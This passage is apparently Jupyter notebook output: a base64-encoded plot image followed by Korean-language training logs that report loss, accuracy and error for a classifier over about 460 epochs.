f/B8XvvGI2kefFB9X/MNEShnQmFGr88a27jc9uDdPuC4IxrMKbP26SmrUJNLkeb93CudS3dDDB9bFmFILaHL2RZ1DG1FZUGzbBo2rAs0iWGKaM0NF+4mDhUzNDebVjJye2IOWH0jINgwEyyhuD42FKBJi5dacl0KUgrsaCjqxCd2AUSW1pBzaRP2GfxmNwpyByHqI+gz6uu72DSJzsouUOcOD3dhFKhmGAEAkkHw9imEiiDMqmJ+oJAzw/wGWVgGhLpPgI/7LBgCqRndtqhq8C+xhI6RJVzzWtS21oSNiVRD6KGQCULRvoj2tIOTYVlFRGxej29IlZGvL038nXGuDY6jXrgTyphe6HVLhVZ9JzFNVYXpgLwFvN2Zojs5SlBsblWnN6+0Gw2fsBbYcx7n4vC5s17Rn09UUaghOlFx7yW/XdSypBLC9kMXvLqcDVnBNsWhBFUujy2+mWOql5KyTLYd3ovBdOI0sBBr0Z7z3SYuDtmfZCxz94cOd2l9qlw5OdhghdiVhuiu+CZhibPaamwm47VRF+63cTz9PqJYB3jgu0WdiQ+fUib4P2XZazYSM2j6j6qBe1lSCkxYZRCM5lfsPkBN50VmKXohFOkzmvF0tR940is1xuHW+fCw6YmjvHNPzYWHUUTw9CjhpKMwMQJhEJ7//LUS1VlIRJMAMr80UGFYrsSsGm26ZVSCUm9oF8oCHxncZ3Z45OTlu9kLBjhGhLfOzkshT3TSJ84fWFXk4XAD3K6dUtkn/trUxPHZcGyrMSSjz0xRkBbVBno7F9Krxik3/ONlEUtYEAVCtRFiYPMR5hVeQhQguCPpc82bMc7zZs4zryTDbLxOsQ+Uqu3puwTMgI7KN/9Ffs0Hn7T1dFzeD6CKWO7Aj+gHoiQ5iMCAkaw24bbW2r35iAXBFsaH34EPhZOVJ879VB22WsewhMMhoC1jOGvB10BMw4Jj+uZBpM908t1H4mc8vy3vgEOvgBO+K7aYA8zZ7I3aVjlyGRbl80f6VoRFQQfnvwACztUzXydEQjHjtShr1nhBO5HDo2lnypWxKwxYGihs2m1hoqhuch3jZ9Y+2JqW81S1LR0inVbUN+/GZq9yNPGFChrjGBcR4HuznZmeZarmizw+t0nRnwEunN5gzf5l7Dp8yvNDqTbqffbZYfENgOXdlGlt1dNgoMNTEM6E/FNF36o6WsmtDGpmBI+6jEQwxCB4J6A0uz1sNw4djdUKQudEQD0exPoZfW3coN7YObxcViFYmKBl544IyhHy7EwtJb9eYQNnrCdIVbyUPk9XruKkWKEreIIU5W1bt9hdzjuW033b0UQ2DIUBKeYtzHhJTVZX+/Op23mAVFnsb/ut1kMCg5KBFN62rjsrXuHistpV8KhWpCDl0vztg0/bdqezUUuCLY0xkyF9lC7OWGfKXzv9LAqqV8Sf82YvaDd077beqHUBRPTqxy2Wd5BvpnEHmS3sd4LapUipotG0Qc+BowxSI1FHLT+WgpXvV190W219WpEkxPapB6UoxAuVRmahgCeHdQYTxpbiQkCt4FvvFBs3QQRhx9meWz1S5H2+dh5bCmyMHtP2WRST1cw6Z584M587eQ5FMx0RtDvTVIlbNYTW2sghrb2pK/k+NdOpsesBgxpKM005LE33Ukdn6B2G1+GarKUx0cX7hV8DkwQT6plJ+0xMxu2F9RYGiS8/0/JKQCUCmZrJg0PpmUl1k8Y20wQePCjpfYxlgTbKhRbWxY2A4VSezC5psE3qVUbOHB9dLa3cYF3n99o3su4J5TPbaNso6tsRXI5GPAYmGmFC9QjmNRd4sjZkwKnM1Y5mhO000EsGzMfgOF+bdnRLYhcELzCOO/1u7L3tB4W7jUZfBNJl6ctFtvhrL/ClGg562ABEz+CpjaksogNS9FGIYIJt1E8sg/XaosskB2BxgiQTmRACiM0tZha4pOKLglfmhP/Y4/wHKmMIGoakg1WgLLKTWh8Ifv3OiY/eddcHhO7cIVzOABPuFN5S/WzuFMPVJOTrTtBpdLWNq4A4NDdp9BetCib6e3b6E2SRVEPzETZHUkKtAUzurHcKsIXBA0YwXKtpLkd11RdO3UFOF1wByGwi34MgDM220Hvo4bFczIM61zptcUUgmud/+BmZz8edXdqep46RpIREFthrpSeR+Ezgk49f0MWKbmbH86KVYomgsbw3/W38Y/u4/ijPLTpqSZ0d7BwzvTE9kHKdJcLISPQlDWMQiAIHAyqdZcx7QU6/BI1hfZYyRBJ/5wzAVj2yF2MBHJB8Apj+rh2rvnAQfS0F6HoaZG6Fj7tAJi0V/Qgn0b4mvS15ymaqWs1pi8ItPVP7VN4qVOblD20mU72Upgd8aUNQ4EhNUGwdN4Xgs81CnzyhP2C77tM0+zH2jF0T4n2A58RZAuCYqlJKF8hmzHY0uKgWeNxXBkIyAGjm3vlazCKbWpy0hgBUkYje7xCcJXudO3ZTyQqUQuSBTMxPmXd36rSiqdOUpNtmo9gUJZxTv9DpKR5Pe77qGyICTQPmiD48klzIj/JFgRBVRZYIcPxsCoQBJJB2niv/VFekj1Nz2O7RoQRrJedlOIZwOV0QXDonFlgtUWcy7N2HM+k0iZE0Jzyy+h3YWQygr/s/0Pu+8opHPLhXzBl0qTUfSIwrVRl5Mg9p1KyDLo7vOvoY9wswPQFADzizsDyfFCmL5wKMUbg1Ji5pzLFbXzmweZt2gzkgmBrwmcE7eOi28dMU//3OwPmfwBme/Xkyz1qAEsX7vpBtHSvp2XXtEzG7zknMNiR1FbKRoNaPb4gEEn7aJDfcMiF7LLgxGD7vjMnsdNkTYDo2p2+PKQ/GWhZ1w5GoyVhKRabCIKGFN+iZPk0X02e+7xmZ/7xsdcrrcypKXYVvMgShrQ8AK/gXWWHAyLn7ZMdLKh8m7VS9bOEnViNLoEd90tuq6qaTh1dY3jb3KmM601GT7kYmLsewTrCe5pgBP0vkgpNCHe3Rc0c1tgZjdsLTOjpjjjcfQZkas7zmeObMCHUKly6QpF6r3wlIYZyRw/07sRkEZpELjh6DjM6s8fwL92jGjfItTMZwZoJ8zEMgRCCN+6bIrzjMIvQlhSGl5+6D0IIJnT79ycmCF57MvLCJzjsyGP5ztv3C7eDYo86I3BsxkyawcBJv2T+sWc2b9NmIBcEWxMlT4ssxF6m3hnqvzBh4Ve0AVKES1Z60UMyOgl656rFtMVJvaGmunzWO/mzM58bxv5nuEN7jAF0eKUMuqLOTUeKYB0CjELEDzJ3l8mxtmRMioEgCH93MBsyAitNEMx8nbZDtiDQ74UvIM3OCUwf167aP7xOadL+c5DAwKrwBJ6g3bDLifzBOTjYXKHI29+wgJ+97zBACYKmSUg7piS2VTy7frGTr528NwumJKOcfNPCb89ZwO+dQxL9AgJTVgK6WU6/T5e8RKkrO2TXxwVH7cXv3/8fie37T1cT34eP3I1pvc2Tr+qxaBg/wiqCrsn0n31vcnu5G8bFJmSrjGUPJPf1kFwSVMIeJ0C3x1SdbEGg+4OsznGp+0RgFFLNn+WCJ6yNFIezJ6BF12Q+dMSuTBvrKSK+YidEghEgBJ1zjoPOiYwEckGwNeHbja2YU2rPE+Gg8+H1lySPESIUFF0adfUm3x3Hh9rJp46ZTUeb91Icezn37/lxzrM/RK1dK/vQG7PxdkxQaywc8O5g0zUL72RO9UdhToFpRSZzYZWi9LjcA/ufCe/4ffTcfix5RBBkM4IlJ9+M0FeCO/UKVfX12G+G23qmpR8MnDpf5St89rg9mNHjvaw+++qcqCZ9e0hrj1TCwYf3XObMnMyPxl9MrUNprZPGtHPe4bPo6FL3uijqkOY83f9dsNNB8J5bIoIzgO887FCmIec1b2KpGxPA3it6wIyxXGi/nxmVX/OcnBgNt80y8+mO+p0OCj8Xypk2eQg19s7ODvbfqRfedzvyXdcFv+89rYdlX3kT5x+5a7BcZiPUY9EA/Wn+FGHSvWOKBl7qgvG7RrdZZdjjxOS+HjY48Ulewtt+Dgu/qr46tUxBYOohvm3NhWVkpUKAgy6A038Xfj80pcRJJenYB+B1F6n/XZOjlYRbqCH2cpELgq0Jn/7FtVqzAG/4AnROSB4DobY+RrPFey92WykUKu85ZOdQy3Bs9p6qJq6T99eO64zZQQtltdBO4MDuxGgbwyBtmiAoRk0+xQ51nI+2Xjjucph1pPo+fjc47BOhINDs+jPHd/Hug9Nt8LP2mofhZfWuMibA7m+CA8+GcdokOHlO6rEAZc+/cOZBM3nrHp6g8k1fnZPUQj4DL4U+i/iE6pmGOkoW159/CMVu9TyEYalwYE/4BUlKvaof0n8ux/0PnHk9TM1IEHzyL2FbAGPPN3NE7TL+7oR90suNnOXdp1PmTuci+72Z/Q7br01S5W7Y6y0w5xT1XRMEj8oZkcOe9/0C/loQO8xBzDiYPXYY47VJaLkVzQWBExMEem0pu9MrSmhkTEWlbjV+dBTaYOGlsM87Ug/RI51UE73r+0zVsTOZpKUvup0mvOMwYoJg59fBrm8Iv88+Dj63IXQW77gfTMsIvZ3zNrVvqSvGCEYukcxHLgi2JvwVxRpEMKSi23t5OjRB4Zs3ROyR+oLAtdl5QifLLz2G1+2mHVeM0XT/BfGPK3UHc76FZhrSMWmvKCMQMe34vHvgsIth33dE2wr85N3zOWrPySy/9JiUjsL4CUogtc87I/V3Jr82fTtEfS++7T9gBB4r6ns2vAdxahKn9b4Q8V9+T6AF9WtO+A707IR43+1w8SbUuvfoftFUz+6d9sVqrQuiUWCfPnYPll96DOcdPoslXignwkj6H3zGGGcpJ/8ETvKKsmnPYI9P3QUXPxd8z6p7c+RsX2nQ7lMjB4+HuhsVsIfOCTX8wrn/VJFyWSh1RdkMeLkzVuazP2HuzqnbA+HXSBCYmygIijF2k8W0fCXj9N+29r7P1CKWmixBuyWQC4KtCd9uHB/ozeBPurpDNxAEscnLt19mDab4pB0XBFo0R8gIYoJg8l4No3cCHPUV+OSKyItg6lrr9KQ9mlIXfGoVnUd9Ov2ce5wAc8+KbjMsWPhfMP/94TafRfjapW5rbfMT7CScc0fos4kLVV/w+gKi1A3TF/DUwZfzq/ccCDMOhgsWqwkkIy4+Fd719QxmjrmMA6vfZc8ZyUS0aWPbufczC5GnXQkfuBveeyt8QqsbdOA56n+jCcTXjg1LsTntOfsL3ySWPo2PFYBd35h9DQ+OowmLfU6na69wMSfax6pIucx2difNl/5Ym/deOOn/waSoQNhvRszv5Qsuf9LOMA1VZAFrU0xDB50Px3wzuq3UJHqs3DzKCoAF58HRX1OfXwFB0Hp1pRxbHrOOgAufjNr6W4E/iPVB14wRtEov/ZcsEAThhBY6i71hM2Y6bHhWXds3+xzUYFF5w1Avox6yqWvd7/g9VPrgG7HEujQNqnOSMutYJTj2G0F8fNDm+edE93/dRbDbQthxn/B4H2M905SUSsv8+FJ45l9RExSEbMLvv2HAu/9CLOtj05E2wZoF7vxKdjHBnvZiZHW8yFg48Bzo2SlqoojDF36Hfjzx0wFveBvc+nBmJE+EBSz4gGJKf3xf9qWKJkFC9sJLYe1T2e16+2/h128Nv/sC6n3/gB94WrKvrBimMqdMPQAevAL+/jVAJt8BHxo7jjOCP+36Zf774Ta+3ZMMwMjEG76Q3JZ1zOzj4LE/JX0KWRBClZ2BXBCMCmyqEADY53RY97QqO+HDH4DxUDa/PlFP3Ck8MT2pzH9BfCpb6qbshWC2Gd42/4U65/ZwkBomfGZ9+qQWh84edBtrsT0SWtoQ59wBG9KrZyaisECxGN1Wr/tX/LyN3Y8J2zfriOQ5Av/CyERuxCFauZc6zrxB3RMhlD+lEQpt8Ok1SRs3UD7kQzDnzeFE1LiRyfDnGH76rnnwbe+LVU76pXTsFmMYvhKwg1b5Ns4+x86E138SDnivUg5eeiT6uy+4/Ose8J6EcnH0qeey4/MbmDNVe3/i93/SXko4doxXTDQNWYLg5J81XUo2gV0Oh71PU30bYeSCYFtEsV2FlerwJ7/eGcoW7JtAXnuyiqyJO6g+8hgg4b6fw+LfKDvzivvCl8yLcac8hsN3n8hFC3dnzqoO6CM0DcWFTpbDLw0XPKQ0pFbssGnonJg9IR92UfPj9RDXyXvBR59qbgrwNc0WkrFaxrGXb7lz7ZRiWmuEuInvmG8of4mujUaQIZia+Ammj9OEu1mI+raaISWfJZI/o6Nzgvpb/Xi8gepfqVM5YwHqUS3bMg0VIRXHEZ+BFxeryKXDs9fNYOGl8JeL05UQUEygVTYQNKoEb/7+ph2zmcgFwfaCYS/hpmsHFR3iQwiYPj+5vz8o574bdj5MRbw41dBU4zOD8bthGIL3H7YL3OyFam4JjbhnujIrpGHsLtF4/lYxdhf40H2t7987A9YvV2wpI7M1Ap9FtGAXbwmlbpgbTRD66kmvZdbEJslpI4UDzmq+D5CIFNppgYreOvF76l5e/1GlXKRBCDXBdUyAeRnmpPfeCktuhf4XYJK2bOSZN8ATNzRnnXHT0ISUGl5WURVxvCZ7rWAADrmw8e8+5r8/6pPaxpALgu0FvilnbHooZiaECG3hhka5Zx+vHHF7nhRue/0nlT1258NeTkub47xFm37MBQ9vmoMW4F3Xw7P/bk0IgLoXE/fILA7YEo75hhKk9jBMS64jcdq8FswxWwu+2S4ecVPqUmZCHyd8F974JfjvWPy/jo8tyf5tyv7JelugGE8rrMc34S04T8Xxp2T+AiqKrZkgGCUYUUEghFgI/A9gAj+SUl4a+70E/BzYH1gLnCKlXD6SbdpucdhFyt/gl6N4uTAM5YjTYZVUjsFIY1NMTD4aJJZlYswUZTprFUK8PCEAm6B1vwpx4DmqJMf8cxvvZxaUsDv4I0l7/SuBmYfCqb9WeSzNQjV7Zybra41CiEaVH1/WiW4lbuUAAAedSURBVIUwgSeBNwDPA/cAp0kpH9X2OReYI6U8RwhxKvBmKeUpjc47d+5cuWjRZmiMOXLk2Hp49i5lu9//nVu7JaMWQoh7pZSp2Y0jmUcwD1gipVwmpawBVwJxV/sJwP95n38HHCE2OVQiR44cr3pMPzAXAq9ijKQgmAI8p31/3tuWuo+Usg5sABKxaEKIs4UQi4QQi1avXj1Czc2RI0eO0YmRFARpmn3cDtXKPkgpfyilnCulnDthwiaEnuXIkSNHjqYYSUHwPKB78KYC8Xq5wT5CCAsYA6wjR44cOXK8YhhJQXAPsKsQYqYQogicClwb2+dawDccngzcKkfKe50jR44cOVIxYuGjUsq6EOI84EZU+OhPpJSPCCG+ACySUl4L/Bj4hRBiCYoJnDpS7cmRI0eOHOkY0TwCKeX1wPWxbZ/RPleAt8aPy5EjR44crxzyMtQ5cuTIMcqRC4IcOXLkGOUYsczikYIQYjXwzGYePh5YswWbsy0g7/PoQN7n0YGX0+edpJSp8ffbnCB4ORBCLMpKsd5ekfd5dCDv8+jASPU5Nw3lyJEjxyhHLghy5MiRY5RjtAmCH27tBmwF5H0eHcj7PDowIn0eVT6CHDly5MiRxGhjBDly5MiRI4ZcEOTIkSPHKMeoEQRCiIVCiCeEEEuEEBdv7fZsKQghfiKEWCWEeFjbNlYIcbMQ4invf6+3XQghvuXdg8VCiP22Xss3H0KIaUKIvwkhHhNCPCKEON/bvt32WwhRFkLcLYR40Ovz573tM4UQd3l9/o1X4BEhRMn7vsT7fcbWbP/mQghhCiHuF0L82fu+XfcXQAixXAjxkBDiASHEIm/biI7tUSEIvGUzvwscDewBnCaE2GPrtmqL4WfAwti2i4FbpJS7Ard430H1f1fv72zgf1+hNm5p1IELpZSzgfnAB7znuT33uwocLqXcG9gHWCiEmA/8F/BNr8/rAX9R5LOA9VLKWcA3vf22RZwPPKZ939776+P1Usp9tJyBkR3bUsrt/g9YANyoff8E8Imt3a4t2L8ZwMPa9yeAHbzPOwBPeJ9/gFo3OrHftvwHXINaG3tU9BtoB+4DDkRlmVre9mCco6r+LvA+W95+Ymu3fRP7OdWb9A4H/oxayGq77a/W7+XA+Ni2ER3bo4IR0NqymdsTJkkpXwTw/k/0tm9398EzAewL3MV23m/PTPIAsAq4GVgK9Em1zCtE+9XSMrCvclwOfBxwve/j2L7760MCNwkh7hVCnO1tG9GxPaJlqF9FaGlJzFGA7eo+CCE6gd8DF0gp+4VI657aNWXbNtdvKaUD7COE6AH+CMxO2837v033WQhxLLBKSnmvEOIwf3PKrttFf2M4SEq5QggxEbhZCPF4g323SL9HCyNoZdnM7QkvCSF2APD+r/K2bzf3QQhRQAmBX0kp/+Bt3u77DSCl7ANuQ/lHerxlXiHar219GdiDgOOFEMuBK1HmocvZfvsbQEq5wvu/CiXw5zHCY3u0CIJWls3cnqAvAfpOlA3d336GF2kwH9jg081tCUKp/j8GHpNSfkP7abvttxBigscEEEK0AUeinKh/Qy3zCsk+b7PLwEopPyGlnCqlnIF6X2+VUp7OdtpfH0KIDiFEl/8ZeCPwMCM9tre2Y+QVdMC8CXgSZVe9ZGu3Zwv26wrgRcBGaQdnoWyjtwBPef/HevsKVPTUUuAhYO7Wbv9m9vlgFP1dDDzg/b1pe+43MAe43+vzw8BnvO07A3cDS4DfAiVve9n7vsT7feet3YeX0ffDgD+Phv56/XvQ+3vEn6tGemznJSZy5MiRY5RjtJiGcuTIkSNHBnJBkCNHjhyjHLkgyJEjR45RjlwQ5MiRI8coRy4IcuTIkWOUIxcEOUY9hBCOV+nR/2tYnVYIcY4Q4owtcN3lQojxL/c8OXK8XOThozlGPYQQA1LKzq1w3eWouO81r/S1c+TQkTOCHDky4Gns/+WtA3C3EGKWt/1zQoiPep8/JIR41KsFf6W3bawQ4mpv251CiDne9nFCiJu8+vo/QKsTI4R4h3eNB4QQP/BKp+fI8YogFwQ5ckBbzDR0ivZbv5RyHvAdVK2bOC4G9pVSzgHO8bZ9Hrjf2/ZJ4Ofe9s8Cd0gp90WVBpgOIISYDZyCKja2D+AAp2/ZLubIkY3RUn00R45GGPYm4DRcof3/Zsrvi4FfCSGuBq72th0MvAVASnmrxwTGAIcCJ3nbrxNCrPf2PwLYH7jHq6DaRlhULEeOEUcuCHLkaAyZ8dnHMagJ/njg00KIPWlcGjjtHAL4PynlJ15OQ3Pk2FzkpqEcORrjFO3/v/UfhBAGME1K+TfUAio9QCfwDzzTjldLf42Usj+2/Wig1zvVLcDJXv1538ew0wj2KUeOCHJGkCOH5yPQvv9FSumHkJaEEHehlKbTYseZwC89s49AraXbJ4T4HPBTIcRiYIiwfPDngSuEEPcBfweeBZBSPiqE+BRqVSoDVUn2A8AzW7qjOXKkIQ8fzZEjA3l4Z47Rgtw0lCNHjhyjHDkjyJEjR45RjpwR5MiRI8coRy4IcuTIkWOUIxcEOXLkyDHKkQuCHDly5BjlyAVBjhw5coxy/H9kuAd8y6ztFQAAAABJRU5ErkJggg==\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "1 0.04829001426696777\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.7432022094726562 0.48875001072883606 0.5112499892711639\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.7799705266952515 0.48750001192092896 0.512499988079071\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6093798875808716 0.6420000195503235 0.3579999804496765\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.5942642092704773 0.6349999904632568 0.36500000953674316\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.4839402437210083 0.7710000276565552 0.22899997234344482\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.433869868516922 0.7450000047683716 0.2549999952316284\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2815614342689514 0.8554999828338623 0.1445000171661377\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.28359130024909973 0.8575000166893005 0.14249998331069946\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1923128068447113 0.9269999861717224 0.07300001382827759\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1881006360054016 0.9125000238418579 0.08749997615814209\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.16262446343898773 0.9430000185966492 0.05699998140335083\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09646019339561462 0.9674999713897705 0.03250002861022949\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09477595239877701 0.9620000123977661 0.03799998760223389\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06791946291923523 0.9449999928474426 0.05500000715255737\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18971960246562958 0.9559999704360962 0.04400002956390381\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06312230974435806 0.9624999761581421 0.03750002384185791\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09069392085075378 0.9735000133514404 0.02649998664855957\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0914505273103714 0.9624999761581421 0.03750002384185791\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12750479578971863 0.9739999771118164 0.026000022888183594\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07645946741104126 0.9649999737739563 0.0350000262260437\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07458024471998215 0.9660000205039978 0.0339999794960022\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10686453431844711 0.9549999833106995 0.04500001668930054\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08020056784152985 0.968999981880188 0.03100001811981201\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05812670290470123 0.9599999785423279 0.04000002145767212\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13654544949531555 0.968999981880188 0.03100001811981201\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2164900004863739 0.949999988079071 0.050000011920928955\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09831893444061279 0.9714999794960022 0.028500020503997803\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010547617450356483 0.9800000190734863 0.019999980926513672\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11058995127677917 0.965499997138977 0.03450000286102295\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03209831938147545 0.9700000286102295 0.029999971389770508\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1248675063252449 0.972000002861023 0.02799999713897705\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2505504786968231 0.9524999856948853 0.047500014305114746\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10779689997434616 0.9629999995231628 0.03700000047683716\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06620943546295166 0.9574999809265137 0.04250001907348633\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11238355189561844 0.9674999713897705 0.03250002861022949\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01211773231625557 0.9700000286102295 0.029999971389770508\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03224347531795502 0.9629999995231628 0.03700000047683716\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.19996197521686554 0.9750000238418579 0.02499997615814209\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06680363416671753 0.9635000228881836 0.036499977111816406\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09830665588378906 0.9725000262260437 0.0274999737739563\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03781586140394211 0.9670000076293945 0.03299999237060547\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.44850102066993713 0.9549999833106995 0.04500001668930054\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.027943605557084084 0.9639999866485596 0.03600001335144043\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06261366605758667 0.9574999809265137 0.04250001907348633\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14429202675819397 0.9614999890327454 0.03850001096725464\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03248068317770958 0.9624999761581421 0.03750002384185791\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04798813536763191 0.9660000205039978 0.0339999794960022\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1105232834815979 0.9750000238418579 0.02499997615814209\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.026395613327622414 0.9629999995231628 0.03700000047683716\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.047937117516994476 0.9775000214576721 0.02249997854232788\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.23581670224666595 0.968999981880188 0.03100001811981201\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.13598370552062988 0.9700000286102295 0.029999971389770508\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06887717545032501 0.9729999899864197 0.027000010013580322\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06454242020845413 0.9775000214576721 0.02249997854232788\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14991456270217896 0.9610000252723694 0.038999974727630615\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.4110954999923706 0.9649999737739563 0.0350000262260437\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1397593468427658 0.9664999842643738 0.03350001573562622\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.08701769262552261 0.9850000143051147 0.014999985694885254\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1439192146062851 0.9760000109672546 0.02399998903274536\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06063251569867134 0.9674999713897705 0.03250002861022949\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04292915761470795 0.9589999914169312 0.04100000858306885\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.08524496853351593 0.9524999856948853 0.047500014305114746\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.019249912351369858 0.9725000262260437 0.0274999737739563\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.5172609686851501 0.9549999833106995 0.04500001668930054\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09772782772779465 0.9760000109672546 0.02399998903274536\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.24596017599105835 0.9775000214576721 0.02249997854232788\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06823240220546722 0.968500018119812 0.03149998188018799\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07817334681749344 0.9649999737739563 0.0350000262260437\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09173456579446793 0.9729999899864197 0.027000010013580322\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01629006676375866 0.9649999737739563 0.0350000262260437\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.060073256492614746 0.9664999842643738 0.03350001573562622\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.08057712018489838 0.9649999737739563 0.0350000262260437\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.198354110121727 0.9629999995231628 0.03700000047683716\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01676323637366295 0.9599999785423279 0.04000002145767212\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.20884278416633606 0.968999981880188 0.03100001811981201\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06281230598688126 0.9750000238418579 0.02499997615814209\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.075934037566185 0.9610000252723694 0.038999974727630615\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.009391635656356812 0.9800000190734863 0.019999980926513672\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.20684777200222015 0.9639999866485596 0.03600001335144043\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21626189351081848 0.9549999833106995 0.04500001668930054\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13476110994815826 0.9649999737739563 0.0350000262260437\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.18337692320346832 0.9800000190734863 0.019999980926513672\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03543423116207123 0.9670000076293945 0.03299999237060547\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.01542438380420208 0.9750000238418579 0.02499997615814209\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10367491096258163 0.9620000123977661 0.03799998760223389\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06586902588605881 0.9574999809265137 0.04250001907348633\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12227477133274078 0.968500018119812 0.03149998188018799\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1934974491596222 0.9649999737739563 0.0350000262260437\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04145120456814766 0.972000002861023 0.02799999713897705\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.053564704954624176 0.9549999833106995 0.04500001668930054\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12259505689144135 0.9704999923706055 0.02950000762939453\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.11654222756624222 0.9775000214576721 0.02249997854232788\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04299302399158478 0.9704999923706055 0.02950000762939453\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 